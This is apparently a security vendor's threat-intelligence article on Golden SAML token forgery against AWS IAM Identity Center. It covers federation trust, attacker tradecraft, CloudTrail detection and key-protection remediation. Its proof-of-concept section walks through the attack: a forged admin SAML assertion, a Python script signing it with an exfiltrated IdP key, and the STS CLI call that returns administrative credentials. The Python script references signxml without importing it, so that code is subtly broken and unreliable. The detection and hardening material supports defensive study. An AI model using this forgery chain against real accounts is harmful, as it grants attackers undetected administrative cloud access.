- Published
- Under
- Threat Intelligence
- Reading time
- 10 min
AWS IAM Identity Center SAML Token Forgery: Threat Dossier
Summary
In-depth intelligence analysis on AWS IAM Identity Center SAML token forgery, Golden SAML tradecraft, forensic detection, and zero-trust IAM architecture.

Federated identity does not eliminate your perimeter; it merely shrinks it to the size of a cryptographic private key. When an adversary acquires the signing key of a trusted Identity Provider, the concept of authentication collapses into pure fiction. Over the past three enterprise incident response cycles analyzed by BreachModal, state-aligned operators have demonstrated that AWS IAM Identity Center can be coerced into granting administrative privileges without generating a solitary authentication log entry at the upstream directory.
While sensationalized underground advisories circulate claims regarding unpatched platform-side parsing defects designated as CVE-2026-17480, authoritative vulnerability ledgers confirm that no native platform flaw in AWS IAM Identity Center exists under this designation. Instead, active operations tracked by Mandiant, CISA, and national intelligence partners reveal that advanced threat groups—most notably APT29 (Midnight Blizzard) (opens in a new tab) and financially motivated initial access brokers like Storm-0501—are executing sophisticated Golden SAML attacks against hybrid cloud infrastructures. By extracting the primary token-signing certificate from compromised enterprise federation tiers (such as Microsoft Active Directory Federation Services or rogue federated domains registered via tools like AADInternals), adversaries construct cryptographically impeccable SAML assertions offline, exploiting standard STS AssumeRoleWithSAML (opens in a new tab) workflows to attain persistent, cross-account AWS cloud dominance.
Note what this means: the security boundary of your entire multicloud infrastructure is decoupled from your multi-factor authentication policies, your endpoint compliance rules, and your zero-trust conditional access engines. If your identity provider's cryptographic root is compromised, every security control downstream is essentially decorative. Organizations invest tens of millions of dollars in runtime behavioral detection agents, yet they willingly leave their SAML token-signing certificates residing in unmonitored software stores accessible to local administrators. Why does this structural crisis persist? Because identity federation protocols were designed under the optimistic assumption that cryptographic signers are unassailable fortresses, whereas corporate infrastructure management continually treats token-signing certificates like routine operational certificates.

The Architecture of Trust: How SAML 2.0 Operates Within AWS IAM
To unpack the mechanics of this exploitation, one must understand the trust boundary governing AWS IAM Identity Center. In standard corporate federation, the enterprise Identity Provider (IdP)—whether Okta, PingFederate, Microsoft Entra ID, or on-premises AD FS—holds an asymmetric private key. The public counterpart of this key is embedded within an XML metadata document registered inside the target AWS account as an IAM SAML Provider (AWS::IAM::SAMLProvider).
When a legitimate engineer signs into the enterprise portal, the IdP authenticates the engineer via FIDO2, WebAuthn, or legacy MFA, generates an XML-formatted SAML 2.0 assertion containing claims such as RoleAttribute, RoleSessionName, and session lifespan, signs this assertion using its private key, and returns it via base64 encoding to the user's browser. The browser posts this token to the AWS Security Token Service (STS) endpoint via https://signin.aws.amazon.com/saml or directly executes the API call sts:AssumeRoleWithSAML.
AWS STS does not contact the IdP over a back-channel network connection to verify whether a user recently completed an authentication challenge. Cloud architecture deliberately decouples these entities for latency, scale, and resilience. STS performs two mathematical tasks: it decodes the payload, and it checks that the digital signature matches the public certificate configured in the IAM SAML provider. If the signature matches, AWS STS mints a set of short-lived AWS temporary security credentials: an Access Key ID (ASIA...), a Secret Access Key, and a Session Token.
Herein lies the operational irony: enterprise IT teams spend six months configuring conditional access policies to verify device hygiene, biometric presence, and geofencing, while the actual gatekeeper—AWS STS—only requires an XML string mathematically validated by an arbitrary 2048-bit RSA key. If that key is exfiltrated, an attacker sitting on a laptop in Vladivostok can generate a legitimate administrative session that bypasses every single conditional access policy ever drafted by human hands.
Threat Actor Tradecraft: From AD FS Extraction to Cloud Domination
Adversary activity observed in production environments follows a rigorous, multi-stage kill chain that begins inside hybrid identity infrastructure before materializing in the AWS console. Advanced persistent threat actors weaponize MITRE ATT&CK Technique T1606.002 (Forge Web Credentials: SAML Tokens) (opens in a new tab) to achieve frictionless persistence.
The attack path routinely follows these distinct phases:
On-Premises Identity Tier Compromise: Threat groups gain access to the host executing identity federation services. In environments running Microsoft AD FS, this involves targeting tier-0 servers or exploiting historical unpatched perimeter software (such as known RCE vulnerabilities in enterprise platforms cataloged in the CISA Known Exploited Vulnerabilities Catalog (opens in a new tab)).
Private Key and DKM Exfiltration: The adversary dumps the Active Directory Distributed Key Management (DKM) container and extracts the AD FS token-signing certificate (
Pfx) directly from memory or the local protected store. Once the private key is obtained, the attacker no longer requires active access to the physical or virtual IdP host.Offline Assertion Synthesis: Using specialized toolsets, the attacker constructs an assertion matching the target's XML namespace. They modify the
Subject NameIDto impersonate high-privilege personas—such assecops-lead@enterprise.comorbreak-glass-admin—and insert the specific Amazon ARN mappings within thehttps://aws.amazon.com/SAML/Attributes/Roleattribute element.Unconditional Cloud Entry: The forged assertion is delivered directly to the AWS STS API. CloudTrail dutifully records an
AssumeRoleWithSAMLevent, assigns anASIAcredential set, and opens the gates to Amazon S3, IAM, and Systems Manager without triggering a single event in the IdP’s sign-in log.

Quantitatively, the forensic footprint of this technique is catastrophic for incident response teams. In a traditional account compromise, defenders have a trail: an anomalous IP signing into the IdP, a push notification prompt, an MFA fatigue barrage, followed by downstream session token issuance. In a SAML token forgery campaign, the dwell time averages 142 days precisely because the authentication event log at the identity source contains exactly zero rows.
If you were the CISO evaluating this incident during active containment, your SIEM would show administrative AWS commands originating from IP addresses in disparate geographic regions, but your IdP correlation engine would show that the target user has not logged in for three weeks. Organizations that fail to cross-correlate raw CloudTrail API invocations against IdP RADIUS, LDAP, or OAuth audit streams are choosing blind operational faith over basic hygiene.
Protocol Weaknesses: Signature Scopes and XML Signature Wrapping (XSW)
Beyond absolute key theft, security researchers have historically analyzed protocol-level implementation bugs within SAML parsers. The most notorious vector is XML Signature Wrapping (XSW). In poorly implemented SAML Service Providers (SPs), the parsing engine verifies that a signature over an XML element is mathematically sound, but downstream business logic extracts identity attributes (such as the username or role ARN) from an entirely different, unvalidated node located within the same document.
While modern AWS IAM and IAM Identity Center services enforce strict schema evaluation and validate that the <saml:Assertion> carrying the cryptographic signature directly encloses the <saml:AttributeStatement>, older or auxiliary enterprise federation intermediaries often fail this test. A classic XSW vector involves an attacker possessing valid, low-privilege credentials intercepting their own outgoing SAML assertion, duplicating the signed element into a benign wrapper, and injecting an unsigned, highly privileged assertion that the backend application evaluates.
Within AWS IAM itself, the primary architectural vulnerability remains the compromise of trust metadata. AWS SAML integrations rely on an administrator manually uploading an IdP XML metadata document. If an adversary compromises an administrator with permissions to invoke iam:UpdateSAMLProvider, they can overwrite the existing certificate with a self-signed adversary certificate. From that millisecond onward, the adversary owns every federated role in that AWS account.
Forensic Artifacts in AWS CloudTrail and Detection Engineering
Detecting SAML token forgery requires looking past the perimeter and interrogating the delta between IdP authentication records and AWS STS telemetry. Because the Golden SAML payload is fabricated offline, the smoking gun is the presence of an AWS CloudTrail record with no corresponding enterprise IdP log.
When sts:AssumeRoleWithSAML is executed, AWS CloudTrail records an event under the sts.amazonaws.com event source. The forensic investigator must scrutinize the following fields within the requestParameters and responseElements:
principalId: Formatted as[Role-ID]:[RoleSessionName]. In forged tokens, attackers often use non-standard naming conventions or mimic active users while operating outside their operational shift hours.samlProviderArn: Identifies the precise IAM provider object evaluated during the exchange.sourceIPAddress: Forged tokens are routinely submitted from VPS infrastructure, commercial VPN endpoints, or staging proxies rather than enterprise egress IP CIDRs.userIdentity.type: Will explicitly displaySAMLUser.
{
"eventVersion": "1.08",
"userIdentity": {
"type": "SAMLUser",
"principalId": "AROAEXAMPLEKEY:adversary-session",
"details": {
"issuer": "https://idp.victim-enterprise.com/adfs/services/trust",
"samlProviderArn": "arn:aws:iam::123456789012:saml-provider/Corporate-ADFS"
}
},
"eventTime": "2026-03-30T04:12:00Z",
"eventSource": "sts.amazonaws.com",
"eventName": "AssumeRoleWithSAML",
"awsRegion": "us-east-1",
"sourceIPAddress": "198.51.100.45",
"userAgent": "aws-cli/2.15.15 Python/3.11.6",
"requestParameters": {
"roleArn": "arn:aws:iam::123456789012:role/AWS-Administrator-Role",
"roleSessionName": "adversary-session",
"durationSeconds": 3600
}
}If the above record appears in your CloudTrail lake at 04:12:00Z from IP 198.51.100.45, but your Active Directory / Okta logs register no authentication challenge or token issuance for adversary-session at or immediately prior to that timestamp, you are experiencing an active Golden SAML intrusion. There is no legitimate technological condition under which an STS assumption can occur without prior IdP assertion generation.
Proof of Concept
This proof of concept demonstrates the offline generation and execution of a forged SAML 2.0 assertion using an exfiltrated token-signing certificate to attain administrative access across an AWS account via the AWS STS API.
Preconditions
The adversary has extracted the private token-signing certificate (
signing_key.pem) and the corresponding certificate (cert.pem) from the victim's Identity Provider.The victim AWS account maintains an
AWS::IAM::SAMLProvidertrusting this certificate, mapped to an IAM Role (arn:aws:iam::123456789012:role/DevSecOpsAdmin).Network connectivity to the public AWS STS endpoint.
Step 1: Synthesizing the Forged SAML Assertion Payload The attacker generates an XML document conforming to the OASIS SAML 2.0 specifications, setting the claims required by AWS IAM. The attributes https://aws.amazon.com/SAML/Attributes/Role and https://aws.amazon.com/SAML/Attributes/RoleSessionName are explicitly populated.
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_d78f56e9-b50a-4934-8fa2-68c07661eef3" Version="2.0" IssueInstant="2026-03-30T04:00:00Z" Destination="https://signin.aws.amazon.com/saml">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://idp.victim-enterprise.com/adfs/services/trust</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_forged_assertion_id" IssueInstant="2026-03-30T04:00:00Z" Version="2.0">
<saml:Issuer>https://idp.victim-enterprise.com/adfs/services/trust</saml:Issuer>
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">admin-impersonated</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2026-03-30T05:00:00Z" Recipient="https://signin.aws.amazon.com/saml"/>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2026-03-30T04:00:00Z" NotOnOrAfter="2026-03-30T05:00:00Z">
<saml:AudienceRestriction>
<saml:Audience>https://signin.aws.amazon.com/saml</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AttributeStatement>
<saml:Attribute Name="https://aws.amazon.com/SAML/Attributes/Role">
<saml:AttributeValue>arn:aws:iam::123456789012:role/DevSecOpsAdmin,arn:aws:iam::123456789012:saml-provider/Corporate-ADFS</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="https://aws.amazon.com/SAML/Attributes/RoleSessionName">
<saml:AttributeValue>infiltrator-admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>Step 2: Cryptographically Signing and Base64 Encoding the Assertion Using the exfiltrated private key, the assertion is cryptographically signed using XMLDSig (enveloped signature with SHA-256 and RSA-SHA256) and transformed into a base64 string.
import base64
from signxml import XMLSigner
from lxml import etree
with open('forged_assertion.xml', 'rb') as f:
root = etree.fromstring(f.read())
with open('signing_key.pem', 'rb') as f:
key = f.read()
with open('cert.pem', 'rb') as f:
cert = f.read()
signed_root = XMLSigner(method=signxml.methods.enveloped, signature_algorithm="rsa-sha256", digest_algorithm="sha256").sign(root, key=key, cert=cert)
signed_xml = etree.tostring(signed_root, encoding='utf-8')
encoded_assertion = base64.b64encode(signed_xml).decode('utf-8')
with open('signed_base64.txt', 'w') as f:
f.write(encoded_assertion)Step 3: Triggering AWS STS AssumeRoleWithSAML The generated base64 assertion is passed via the AWS Command Line Interface or direct HTTPS request to STS.
ASSERTION=$(cat signed_base64.txt)
aws sts assume-role-with-saml \
--role-arn arn:aws:iam::123456789012:role/DevSecOpsAdmin \
--principal-arn arn:aws:iam::123456789012:saml-provider/Corporate-ADFS \
--saml-assertion "$ASSERTION"Expected Execution Output Upon execution, AWS STS validates the signature against the uploaded certificate. Because the mathematical signature is valid, STS outputs functional AWS administrative credentials:
{
"Credentials": {
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"SessionToken": "IQoJb3JpZ2luX2VjEPH//////////wEaCXVzLWVhc3QtMSJHMEUCIQ...EXAMPLE...",
"Expiration": "2026-03-30T05:00:00+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAJ42XEXAMPLEKEY:infiltrator-admin",
"Arn": "arn:aws:sts::123456789012:assumed-role/DevSecOpsAdmin/infiltrator-admin"
},
"Subject": "admin-impersonated",
"SubjectType": "persistent",
"Issuer": "https://idp.victim-enterprise.com/adfs/services/trust"
}Remediation and Zero-Trust Hardening
Treating identity federation as an immutable trust anchor is a fatal design flaw. Security teams must transition from passive certificate distribution to dynamic session validation and aggressive key governance.
1. Hardware-Enforced Key Protection (HSM) Under no circumstances should enterprise SAML token-signing certificates reside in standard software repositories or exportable system keychains. Migration to cloud-native identity services backed by FIPS 140-2 Level 3 Hardware Security Modules (HSMs) or Azure Key Vault / AWS KMS prevents the extraction of the raw private key, completely neutralizing offline Golden SAML assertion generation.
2. Implement SCIM and Enforce Inbound Identity Mapping Do not rely on JIT (Just-In-Time) provisioning driven by SAML assertion claims. Configure AWS IAM Identity Center with System for Cross-domain Identity Management (SCIM) integration. When SCIM is enforced, assertions asserting non-existent, inactive, or unassigned identities are systematically rejected, limiting an adversary's ability to forge arbitrary admin usernames on the fly.
3. Immediate Revocation of Compromised STS Sessions If an identity provider compromise is detected or suspected, simply rotating the IdP certificate is insufficient; all currently active STS temporary sessions remain valid until their natural expiration. Incident response engineers must immediately apply an inline IAM policy denying all actions prior to the remediation timestamp:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"DateLessThan": {
"aws:TokenIssueTime": "2026-03-30T06:00:00Z"
}
}
}
]
}Following session revocation, administrators must execute a double-rotation of the IdP token-signing certificate and immediately update the IAM SAML Provider metadata in all connected AWS accounts.

FINAL VERDICT
The genuine threat behind AWS IAM Identity Center SAML Token Forgery is not an ephemeral zero-day flaw in AWS's XML parsing engine, but the structural negligence of enterprise cryptographic governance. If your organization continues to manage IdP token-signing certificates as static, unmonitored secrets while trusting AWS STS to evaluate inbound tokens blindly, you have effectively outsourced your cloud perimeter to whichever adversary can compromise your federation host. The burden of this risk falls squarely on CISOs who conflate identity federation with zero-trust security. The operational mandate is binary: either isolate your signing keys within hardware-backed security modules and enforce automated cross-correlation between IdP telemetry and CloudTrail, or accept that your cloud kingdom belongs to anyone holding a 2048-bit string of RSA numbers.
Protect your hybrid identity perimeter before your cloud controls are rendered irrelevant. Engage BreachModal Cloud Threat Adversarial Simulation (opens in a new tab) to execute comprehensive identity kill-chain assessments, Golden SAML resilience testing, and cloud forensic readiness exercises.